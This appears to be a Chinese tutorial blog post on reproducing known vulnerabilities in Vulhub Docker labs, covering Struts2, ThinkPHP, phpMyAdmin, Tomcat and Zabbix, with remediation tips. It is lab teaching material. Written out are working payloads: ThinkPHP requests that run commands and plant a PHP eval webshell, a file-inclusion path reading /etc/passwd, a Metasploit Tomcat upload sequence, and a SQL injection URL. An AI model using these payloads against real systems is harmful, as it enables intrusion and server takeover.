小白之vulhub靶机之旅--第一篇
字数 1131 2025-08-18 11:39:30

Vulhub靶机环境搭建与漏洞复现教学文档

一、环境准备

1.1 Docker环境搭建

Vulhub靶机依赖Docker环境运行,以下是Docker环境配置步骤:

  1. 安装Docker(以Ubuntu系统为例):

    sudo apt-get update
    sudo apt-get install docker.io
    
  2. 启动Docker服务:

    sudo /etc/init.d/docker start
    
  3. 检查Docker状态:

    sudo /etc/init.d/docker status
    

1.2 Vulhub靶机下载

git clone https://github.com/vulhub/vulhub.git
cd vulhub

二、漏洞复现实战

2.1 Struts2远程代码执行漏洞(S2-016)

影响版本:Struts 2.0.0 - Struts 2.3.15

复现步骤

  1. 进入漏洞目录:

    cd struts2/s2-016
    
  2. 启动环境:

    docker-compose up -d
    
  3. 访问测试页面:

    http://localhost:8080/index.action
    
  4. 漏洞验证:

    • 远程执行命令:
      http://localhost:8080/index.action?redirect:%25{3*4}
      
    • 上传JSP脚本:
      通过构造特殊请求上传Webshell
  5. 停止环境:

    docker-compose down
    

2.2 ThinkPHP 5.0.23远程代码执行漏洞

漏洞原理:未正确处理控制器名,导致可以执行任意方法

复现步骤

  1. 进入漏洞目录:

    cd thinkphp/5.0.23-rce
    
  2. 启动环境:

    docker-compose up -d
    
  3. 访问测试页面:

    http://localhost:8080
    
  4. 漏洞利用:

    • 通过POST请求执行命令:
      POST /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
      
    • 写入一句话木马:
      POST /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>
      

2.3 phpMyAdmin任意文件包含漏洞(CVE-2018-12613)

漏洞原理:Index.php中对文件包含参数过滤不严

复现步骤

  1. 进入漏洞目录:

    cd phpmyadmin/CVE-2018-12613
    
  2. 启动环境:

    docker-compose up -d
    
  3. 漏洞利用:

    http://localhost:8080/index.php?target=db_datadict.php%253f/etc/passwd
    
    • %253f是?的二次URL编码
    • 可读取服务器任意文件

2.4 Tomcat8弱口令后台GetShell

复现步骤

  1. 进入漏洞目录:

    cd tomcat/tomcat8
    
  2. 启动环境:

    docker-compose up -d
    
  3. 访问管理后台:

    http://localhost:8080/manager/html
    

    默认凭证:tomcat:tomcat

  4. 上传WAR包GetShell:

    • 制作WAR包:
      jar cvf shell.war shell.jsp
      
    • 通过管理界面上传WAR包
    • 自动部署后访问:
      http://localhost:8080/shell/shell.jsp
      
  5. 使用MSF自动化利用:

    use exploit/multi/http/tomcat_mgr_upload
    set RHOSTS localhost
    set RPORT 8080
    set HttpUsername tomcat
    set HttpPassword tomcat
    exploit
    

2.5 Zabbix SQL注入漏洞(CVE-2016-10134)

复现步骤

  1. 进入漏洞目录:

    cd zabbix/CVE-2016-10134
    
  2. 启动环境:

    docker-compose up -d
    
  3. 漏洞验证:

    http://localhost/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17
    
  4. 使用sqlmap自动化测试:

    sqlmap -u "http://localhost/jsrpc.php?type=9&method=screen.get&profileIdx=web.item.graph" --data="profileIdx2=1" --level=5 --risk=3
    

三、安全建议

  1. Struts2

    • 及时升级到最新版本
    • 禁用动态方法调用
  2. ThinkPHP

    • 开启强制路由
    • 升级到安全版本
  3. phpMyAdmin

    • 限制访问IP
    • 使用最新版本
  4. Tomcat

    • 修改默认凭证
    • 禁用manager应用或限制访问
  5. Zabbix

    • 应用官方补丁
    • 加强数据库权限控制

四、注意事项

  1. 本教学仅用于合法授权的安全测试
  2. 测试完成后及时关闭环境:
    docker-compose down
    
  3. 建议在虚拟机或隔离环境中进行测试
  4. 禁止用于非法渗透测试活动

五、扩展学习

  1. 漏洞原理深度分析:

    • 阅读官方漏洞公告
    • 分析漏洞修复补丁
  2. 代码审计技巧:

    • 学习PHP/Java安全编码规范
    • 掌握常见漏洞模式
  3. 自动化工具开发:

    • 编写PoC验证脚本
    • 开发漏洞扫描插件
  4. 防御措施研究:

    • WAF规则编写
    • RASP防护方案

通过本教学文档,您可以系统性地学习常见Web漏洞的复现方法和原理,建议结合Vulhub官方文档和漏洞公告进行深入学习。

Vulhub靶机环境搭建与漏洞复现教学文档 一、环境准备 1.1 Docker环境搭建 Vulhub靶机依赖Docker环境运行,以下是Docker环境配置步骤: 安装Docker(以Ubuntu系统为例): 启动Docker服务: 检查Docker状态: 1.2 Vulhub靶机下载 二、漏洞复现实战 2.1 Struts2远程代码执行漏洞(S2-016) 影响版本 :Struts 2.0.0 - Struts 2.3.15 复现步骤 : 进入漏洞目录: 启动环境: 访问测试页面: 漏洞验证: 远程执行命令: 上传JSP脚本: 通过构造特殊请求上传Webshell 停止环境: 2.2 ThinkPHP 5.0.23远程代码执行漏洞 漏洞原理 :未正确处理控制器名,导致可以执行任意方法 复现步骤 : 进入漏洞目录: 启动环境: 访问测试页面: 漏洞利用: 通过POST请求执行命令: 写入一句话木马: 2.3 phpMyAdmin任意文件包含漏洞(CVE-2018-12613) 漏洞原理 :Index.php中对文件包含参数过滤不严 复现步骤 : 进入漏洞目录: 启动环境: 漏洞利用: %253f是?的二次URL编码 可读取服务器任意文件 2.4 Tomcat8弱口令后台GetShell 复现步骤 : 进入漏洞目录: 启动环境: 访问管理后台: 默认凭证:tomcat:tomcat 上传WAR包GetShell: 制作WAR包: 通过管理界面上传WAR包 自动部署后访问: 使用MSF自动化利用: 2.5 Zabbix SQL注入漏洞(CVE-2016-10134) 复现步骤 : 进入漏洞目录: 启动环境: 漏洞验证: 使用sqlmap自动化测试: 三、安全建议 Struts2 : 及时升级到最新版本 禁用动态方法调用 ThinkPHP : 开启强制路由 升级到安全版本 phpMyAdmin : 限制访问IP 使用最新版本 Tomcat : 修改默认凭证 禁用manager应用或限制访问 Zabbix : 应用官方补丁 加强数据库权限控制 四、注意事项 本教学仅用于合法授权的安全测试 测试完成后及时关闭环境: 建议在虚拟机或隔离环境中进行测试 禁止用于非法渗透测试活动 五、扩展学习 漏洞原理深度分析: 阅读官方漏洞公告 分析漏洞修复补丁 代码审计技巧: 学习PHP/Java安全编码规范 掌握常见漏洞模式 自动化工具开发: 编写PoC验证脚本 开发漏洞扫描插件 防御措施研究: WAF规则编写 RASP防护方案 通过本教学文档,您可以系统性地学习常见Web漏洞的复现方法和原理,建议结合Vulhub官方文档和漏洞公告进行深入学习。